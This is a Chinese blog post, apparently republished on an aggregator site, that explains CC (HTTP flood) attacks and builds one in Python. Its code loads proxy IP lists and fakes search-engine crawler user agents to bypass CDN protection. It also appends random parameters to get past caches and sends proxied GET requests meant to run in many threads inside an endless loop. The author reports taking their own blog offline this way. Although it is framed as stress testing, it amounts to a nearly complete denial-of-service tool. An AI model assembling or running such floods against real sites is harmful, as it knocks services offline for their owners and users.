用Python脚本实现CC压力测试 – VPSCHE小车博客 您所在的位置:网站首页 cc攻击脚本源码 用Python脚本实现CC压力测试 – VPSCHE小车博客

用Python脚本实现CC压力测试 – VPSCHE小车博客

2023-01-01 04:30| 来源: 网络整理| 查看: 265

首先需要了解什么是 CC攻击 以及实现原理:HTTP Flood 的别称叫做 CC 攻击,实现 HTTP Flood 攻击并不需要控制大批的肉鸡,取而代之的是通过端口扫描程序在互联网上寻找匿名的 HTTP代理 或者 SOCKS代理。攻击者通过匿名代理伪装成正常用户来对攻击目标发起 HTTP 请求,产生大量的连接数来消耗站点资源,CC 攻击主要是针对网页的攻击。

通过上面的描述,可以总结出以下几点: 1. 需要一定量的可用高匿代理 2. 需要通过代理请求站点 3. 需要多线程甚至多进程配合多线程的方式实现请求

Python 库 requests,实现 HTTP 请求 fake_useragent,随机生成浏览器 UA 还有一些官方库,如 threading、random、time 等 编写思路

注:为避免滥用,本文不提供成品脚本,博主水平业余,代码难免有不合理之处,请谅解。

网上有很多免费代理站,可以提取到不少代理 IP,不过大部分都是不可用的,需要增加验证步骤。上次搞爬虫做了一个提取代理 IP 的脚本可以直接用:Proxy-IP,不过这个脚本生成的是 .txt

,所以还需要取出来供后续使用:

# 读取IP列表函数 def open_file(txt): global ip ip = [] try: file = open(txt, "r", encoding="utf-8") ip_lists = file.readlines() # 取出每行作为数组 for i in ip_lists: ip.append(i.replace("n", "")) print("共读取到" + str(len(ip)) + "个IP!") except Exception as e: print(e) 现在不少站点都开了 CDN,但是有些站长为了及时收录开启了搜索引擎回源,可以通过伪造蜘蛛 UA 绕过 CDN 防护从而访问源站: # UA列表,用于过CDN和部分盾 UA = [ "Mozilla/5.0 (compatible; Baiduspider/2.0; http://www.baidu.com/search/spider.html)", # 百度蜘蛛抓取欺骗 "Mozilla/5.0 (compatible; Googlebot/2.1; http://www.google.com/bot.html)", # 谷歌蜘蛛抓取欺骗 "Sogou web spider/4.0( http://www.sogou.com/docs/help/webmasters.htm#07)", # 搜狗蜘蛛抓取欺骗 "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11; 360Spider", # 奇虎蜘蛛抓取欺骗 "Mozilla/5.0 (compatible; bingbot/2.0 http://www.bing.com/bingbot.htm)" # 必应蜘蛛抓取欺骗 ] GET请求方式需要添加随机参数值,不管是原始的参数随机,还是自定义一个 random 参数都是很有必要的,可跨过一些 cache: # 生成随机参数函数 def random_parameters(site_url): items = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '0', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'] temp = "" random_str = temp.join(random.sample(items, 10)) if site_url.find('?') >= 0: site_url = site_url + "&_random=" + random_str else: site_url = site_url + "/?_random=" + random_str return site_url 准备完成,下一步需要通过代理请求站点: # GET请求主线程函数 def cc(site, ua, refer, mode): # Header请求头,如有其它参数的可以往里面加 headers = { "User-Agent": "", "Referer": "", "Cache-Control": "no-cache" } # 选择User-Agent if ua == '2': headers["User-Agent"] = UA[1] elif ua == '3': headers["User-Agent"] = UA[2] elif ua == '4': headers["User-Agent"] = UA[3] elif ua == '5': headers["User-Agent"] = UA[4] elif ua == '6': random_ua = UserAgent() headers["User-Agent"] = random_ua.random elif ua == '7': headers["User-Agent"] = random.choice(UA) else: headers["User-Agent"] = UA[0] # 选择Referer headers["Referer"] = refer # print(headers) # 选择是否使用代理 try: if mode == "2": res = requests.get(random_parameters(site), headers=headers, timeout=15) # 不使用代理IP,超时时间默认15S,也就是10秒请求不到内容才进入下一个请求,不要太快 else: proxy_host = random.choice(ip) # 随取IP proxy_temp = {"http": proxy_host, "https": proxy_host} res = requests.get(random_parameters(site), headers=headers, proxies=proxy_temp, timeout=15) # 使用代理IP print(res) except Exception as e: print(e) 最后就是使用 Python 多线程或者多进程配合多线程的方法来调用 cc()

函数提高效率了,再套层死循环。

注意事项

不建议无限制的发包,timeout 设置的很低是没有意义的,只会让自己的主机 CPU 使用率抬的太高而卡死,请求断开了服务端会直接无视这个请求,直接完成连接获取数据即可。

后话

这东西最后我是用线程池实现的多线程请求,不得不说 requests 这个库是真的好用,测试时使用了100多个代理,直接把自己博客搞挂,不过对于 Cloudflare 这种5秒盾的 CDN 来说就没办法了。



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有